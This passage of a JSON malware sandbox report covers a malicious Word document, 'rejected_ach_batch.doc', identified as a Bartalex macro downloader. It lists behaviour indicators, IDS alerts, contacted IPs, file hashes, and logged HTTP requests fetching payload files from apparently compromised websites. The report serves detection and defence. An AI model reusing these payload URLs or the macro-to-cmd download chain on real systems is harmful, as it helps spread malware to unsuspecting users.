*/*\nAccept-Language: de\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: chameleonpaintworks.com\"\n \"GET /wp-content/plugins/wp-jquery-lightbox/styles/images/he_IL/fafa.txt HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Language: de\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: chameleonpaintworks.com\"","origin":"Network Traffic","relevance":10,"id":"network-16","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"malicious","category":"General","name":"Sample was identified as malicious by at least one Antivirus engine","description":"5/55 Antivirus vendors marked sample as malicious (9% detection rate)","origin":"External System","relevance":10,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"WINWORD.EXE\" wrote 32 bytes to a foreign process \"cmd.exe\" (PID: 00002648)\n \"WINWORD.EXE\" wrote 52 bytes to a foreign process \"cmd.exe\" (PID: 00002648)\n \"WINWORD.EXE\" wrote 4 bytes to a foreign process \"cmd.exe\" (PID: 00002648)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2a","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"Auto_Open\" which indicates: \"Runs when the Excel Workbook is opened\"\n Found keyword \"Workbook_Open\" which indicates: \"Runs when the Excel Workbook is opened\"\n Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"","origin":"Static Parser","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded string that indicates auto-execute behavior","description":"Found keyword \"Auto_Open\" which indicates: \"Runs when the Excel Workbook is opened\"\n Found keyword \"Workbook_Open\" which indicates: \"Runs when the Excel Workbook is opened\"\n Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"","origin":"File/Memory","relevance":10,"id":"string-20","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"DecodePointer@KERNELBASE.dll\"\n \"EncodePointer@KERNELBASE.dll\"","origin":"API Call","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"WINWORD.EXE\" (Thread ID: 2752) slept \"110\" times (threshold: 100)","origin":"API Call","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\"WINWORD.EXE\" monitors \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" (Filter: 15, Subtree: 1)","origin":"API Call","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"WINWORD.EXE\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$2b","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"Normalized macro string: \"http://\"\n Normalized macro string: \"savepic.su\"\n Normalized macro string: \"fspresentationproducts.com/\"\n Normalized macro string: \"fspresentationproducts.com\"\n Normalized macro string: \"chameleonpaintworks.com/wp-content/plugins/wp-jquery-lightbox/styles/images/he_IL/\"\n Normalized macro string: \"chameleonpaintworks.com/wp-content/plugins/wp-jquery-lightbox/styles/images/he_IL\"","origin":"File/Memory","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\~DF83E9DA75D0CBF731.TMP\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Intercepted relevant COM error","description":"\"WINWORD.EXE\" called \"Msxml2.DOMDocument(\"createElement\").text\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...","origin":"API Call","relevance":10,"id":"api-67","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"$2c","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Requested access to a system service","description":"\"WINWORD.EXE\" called \"OpenService\" to access the \"RASMAN\" service\n \"WINWORD.EXE\" called \"OpenService\" to access the \"rasman\" service\n \"WINWORD.EXE\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"NetUICtrlNotifySink\"\n \"WINWORD.EXE\" searching for class \"REListbox20W\"\n \"WINWORD.EXE\" searching for class \"OfficeTooltip\"\n \"WINWORD.EXE\" searching for class \"MsoCommandBarPopup\"\n \"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"\n \"WINWORD.EXE\" searching for class \"mspim_wnd32\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /wp-content/plugins/wp-jquery-lightbox/styles/images/he_IL/78672738612836.txt HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: www.paintworks.us\nCookie: dps_site_id=4000\"","origin":"Network Traffic","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WINWORD.EXE\" opened \"MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2d","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"Network Related","name":"Intercepted COM issued HTTP GET request","description":"\"WINWORD.EXE\" called \"Msxml2.ServerXMLHTTP.open\" to \"GET\"","origin":"API Call","relevance":10,"id":"api-68","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/66 reputation engines marked \"http://schemas.openxmlformats.org\" as malicious (1% detection rate)\n 2/64 reputation engines marked \"http://chameleonpaintworks.com\" as malicious (3% detection rate)\n 1/64 reputation engines marked \"http://fspresentationproducts.com\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"suspicious","category":"Network Related","name":"Contacts Random Domain Names","description":"\"paintworks.us\" seems to be random\n \"www.paintworks.us\" seems to be random","origin":"Network Traffic","relevance":5,"id":"network-6","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET TROJAN W2KM_BARTALEX Downloading Payload 2\" (SID: 2021304, Rev: 4, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ETPRO CURRENT_EVENTS Inbound cmd.exe Base64 Encoded (Unicode) 3\" (SID: 2810418, Rev: 1, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)\n Detected alert \"ET CURRENT_EVENTS Likely Trojan Multi-part Macro Download M1\" (SID: 2020911, Rev: 3, Severity: 1) categorized as \"A Network Trojan was detected\" (Phishing, Exploit Kits)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"42/56 Antivirus vendors marked sample as malicious (75% detection rate)\n 23/41 Antivirus vendors marked sample as malicious (56% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"level":"malicious","category":"Network Related","name":"Multiple malicious artifacts seen in the context of different hosts","description":"$2e","origin":"Network Traffic","relevance":10,"id":"network-27","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]}],"incidents":[{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":42,"imported_dlls_count":174,"dropped_files_count":0,"extracted_files_count":16,"files_written_count":184,"files_deleted_count":0,"registry_keys_created_count":47,"registry_keys_modified_count":0,"registry_keys_deleted_count":65,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":112,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":8,"dns_resolutions_count":4,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["bartalex"],"sample_flags":["Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"59493d11aac2ed6e0f766bd1","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W97M.Downloader","contacted_countries":["USA"],"submit_name":"rejected_ach_batch.doc","analysis_start_time":"2017-06-20T16:20:08+00:00","indicators_count":{"informative":26,"suspicious":7,"malicious":10},"tags":["Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true},{"id":"55ae61390e316d331d67f579","environment_id":1,"environment_description":"Windows 7 32 bit (EN)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"LooksLike.Macro.Malware.gen","contacted_countries":["USA"],"submit_name":"rejected_ach_batch.doc","analysis_start_time":"2015-07-21T10:14:24+00:00","indicators_count":{"informative":8,"suspicious":12,"malicious":7},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"55ae56d00e316ddb2a0f84f3","environment_id":2,"environment_description":"Windows 7 64 bit (DE)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"LooksLike.Macro.Malware.gen","contacted_countries":["USA"],"submit_name":"rejected_ach_batch.doc_","analysis_start_time":"2015-07-21T09:27:42+00:00","indicators_count":{"informative":7,"suspicious":10,"malicious":7},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"165.254.207.89","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"address":"66.235.110.60","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"address":"50.63.73.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"address":"23.61.69.163","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"address":"69.22.154.25","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"address":"23.61.75.27","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"address":"50.63.202.9","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"address":"160.153.136.3","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]}],"dns_resolutions":[{"domain":"fspresentationproducts.com","address":"66.235.110.60","country":"United States","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"domain":"chameleonpaintworks.com","address":"50.63.73.1","country":"United States","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"domain":"paintworks.us","address":"160.153.136.3","country":"United States","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"domain":"www.paintworks.us","address":"160.153.136.3","country":"United States","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]}],"http_requests":[{"host":"fspresentationproducts.com","host_ip":"66.235.110.60:80","url":"/78672738612836.txt","method":"GET","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"host":"chameleonpaintworks.com","host_ip":"50.63.73.1:80","url":"/wp-content/plugins/wp-jquery-lightbox/styles/images/he_IL/78672738612836.txt","method":"GET","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"host":"chameleonpaintworks.com","host_ip":"50.63.73.1:80","url":"/wp-content/plugins/wp-jquery-lightbox/styles/images/he_IL/fafa.txt","method":"GET","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}],"processes":[{"pid":2984,"ppid":0,"name":"WINWORD.EXE","command_line":"/n /dde","normalized_path":"","uid":"01950671-00002984","icon":"$2f"},{"pid":2648,"ppid":0,"name":"cmd.exe","command_line":"cmd /c C:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\21385.bat","normalized_path":"","uid":"01961765-00002648"}],"all_imported_dlls":["dwmapi.dll","GDI32.dll","fwpuclnt.dll","VBE6.DLL","DEVOBJ.dll","uxtheme.dll","SXS.DLL","WS2_32.dll","ole32.dll","mscoree.dll","mso.dll","Comctl32.dll","SHELL32.dll","srvcli.dll","USER32.dll","ntshrui.dll","COMCTL32.dll","rsaenh.dll","WINTRUST.dll","mswsock.dll","DDRAW.dll","AcSpecfc.DLL","wwintl.dll","msxml5.dll","ADVAPI32.dll","rasadhlp.dll","WINBRAND.dll","COMDLG32.dll","IMM32.dll","shdocvw.dll","RpcRtRemote.dll","LINKINFO.dll","RPCRT4.dll","OLEAUT32.dll","riched20.dll","scp32.dll","kernel32.dll","MSCTF.dll","mscoreei.dll","MSOSTYLE.DLL","MPR.dll","MSPTLS.DLL","sechost.dll","MMDevAPI.DLL","slc.dll","DCIMAN32.dll","mscms.dll","USP10.dll","SspiCli.dll","wwlib.dll","apphelp.dll","CRYPTSP.dll","wshtcpip.dll","DNSAPI.dll","winhttp.dll","ntdll.dll","MSOINTL.DLL","ntmarta.dll","CRYPTBASE.dll","midimap.dll","wship6.dll","IPHLPAPI.DLL","IMM32.DLL","CLBCatQ.DLL","VERSION.dll","propsys.dll","AUDIOSES.DLL","cscapi.dll","msxml3.dll","SHLWAPI.dll","credssp.dll","MSVCR80.dll","MSORES.DLL","WINMM.dll","VBE6INTL.DLL","mlang.dll","msproof6.dll","KERNELBASE.dll","msvcrt.dll","PSAPI.DLL","NSI.dll","LPK.dll","msi.dll","profapi.dll","SETUPAPI.dll","USERENV.dll","CFGMGR32.dll","unidrvui.dll","OSETUPPS.DLL","wshtcpip.DLL","MSGR3EN.DLL","mxdwdrv.dll","urlmon.dll","MSLID.DLL","FontSub.dll","NLSDATA0009.DLL","NLSLEXICONS0009_SP.dll","wshqos.dll","NLSMODELS0009.dll","mxdwdui.DLL","msimg32.dll","cryptbase.dll","Wldap32.dll","pnrpnsp.dll","cryptsp.dll","gdi32.dll","RICHED20.DLL","FWPUCLNT.DLL","user32.dll","cfgmgr32.dll","nlaapi.dll","sspicli.dll","npmproxy.dll","WinSCard.dll","lpk.dll","imm32.dll","WWINTL.DLL","shell32.dll","clbcatq.dll","wininet.dll","rpcrt4.dll","shlwapi.dll","OSPPC.DLL","GKWord.dll","NapiNSP.dll","dhcpcsvc.dll","fontsub.dll","wtsapi32.dll","msxml6r.dll","VBE7.DLL","OSPPCEXT.DLL","vfprint.dll","version.dll","msasn1.dll","linkinfo.dll","msvcr90.dll","comctl32.dll","advapi32.dll","rpcss.dll","msctf.dll","OART.DLL","devobj.dll","WSHTCPIP.DLL","dnsapi.dll","rasapi32.dll","dhcpcsvc6.dll","SendToOneNoteUI.dll","setupapi.dll","msxml6.dll","crypt32.dll","ws2_32.dll","msproof7.dll","ALRTINTL.DLL","winnsi.dll","WindowsCodecs.dll","GFX.DLL","KernelBase.dll","usp10.dll","powrprof.dll","iertutil.dll","sxs.dll","MSO.DLL","msxml3r.dll","webio.dll","nsi.dll","SensApi.dll","winrnr.dll","netprofm.dll","USP10.DLL","rasman.dll","rtutils.dll","GdiPlus.dll","WWLIB.DLL","oleaut32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"opa12.dat","sha256":"a449678afadc422fc82c99ecc2f4dd159cacf5edd63be677048b9e20f2bd3503","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"name":"~WRS{A301FAFE-248A-4704-9ADA-667FED534F38}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"name":"21385.bat","sha256":"e89811368c95dc359be8fb7e8c22fc5cbf04d2f9d3b4f46fddeba051a3a33279","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"name":"21385.ps1","sha256":"8f626054830e43cd39c61d3e9f8478f3a42d31b336e8124c081e635a666c6e7e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"name":"21385.vbs","sha256":"68ba5f757a07c795aba0d0d4c40ce441e5f276a9ce89be031dbf41d1a9f57efe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"name":"index.dat","sha256":"1d11b93ae03c8623acb4fb472330b90b6a95de92988350a171c8b77d50e2b537","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"~$Normal.dotm","sha256":"18dfdcd0ae0640be0d87c190e012515dc1cfaee7946d7b7184e80a0eadce9c9e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"~$6aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb.doc","sha256":"589dd0a9c8d9d969841001edac707adceb4d79e46426dc37cb48e11c0463eacf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"name":"~WRS{3CE3454F-566E-4EF6-95E2-FD672CFE8E3F}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"name":"ExcludeDictionaryEN0409.lex","sha256":"b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"}]},{"name":"rejected_ach_batch.LNK","sha256":"a3265d8cfbdd565e2c0ca9435fe7f71311febf324ed88edabe7c9632695a1421","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"~WRS{62B4A5B9-02F2-4697-BF64-81830C210B34}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"~$jected_ach_batch.doc","sha256":"56f8be732bf58a24c5d8038ec2ff85dc411e5bc2e7d7f84c8402043902d24787","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"4795567.cvr","sha256":"0935a746c7edf3b9116862b4b48a98c2a7a057c0e71d9d33e5ab3e7fa8c84a7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"~WRD0000.tmp","sha256":"4b088ac64d89e12d653d31dc52b124e21317902350b517ac123b972ec7997be0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"name":"rejected_ach_batch.doc.lnk","sha256":"2201870174c2613307a78983df498417341a065d576d76101a8c632df333d9f1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]}],"files_written":[{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\Microsoft Shared\\office12\\Cultures\\office.odf","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft Office\\Office12\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"55ae56d00e316ddb2a0f84f3"},{"report_type":"sandbox","report_id":"55ae61390e316d331d67f579"},{"report_type":"sandbox","report_id":"59493d11aac2ed6e0f766bd1"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"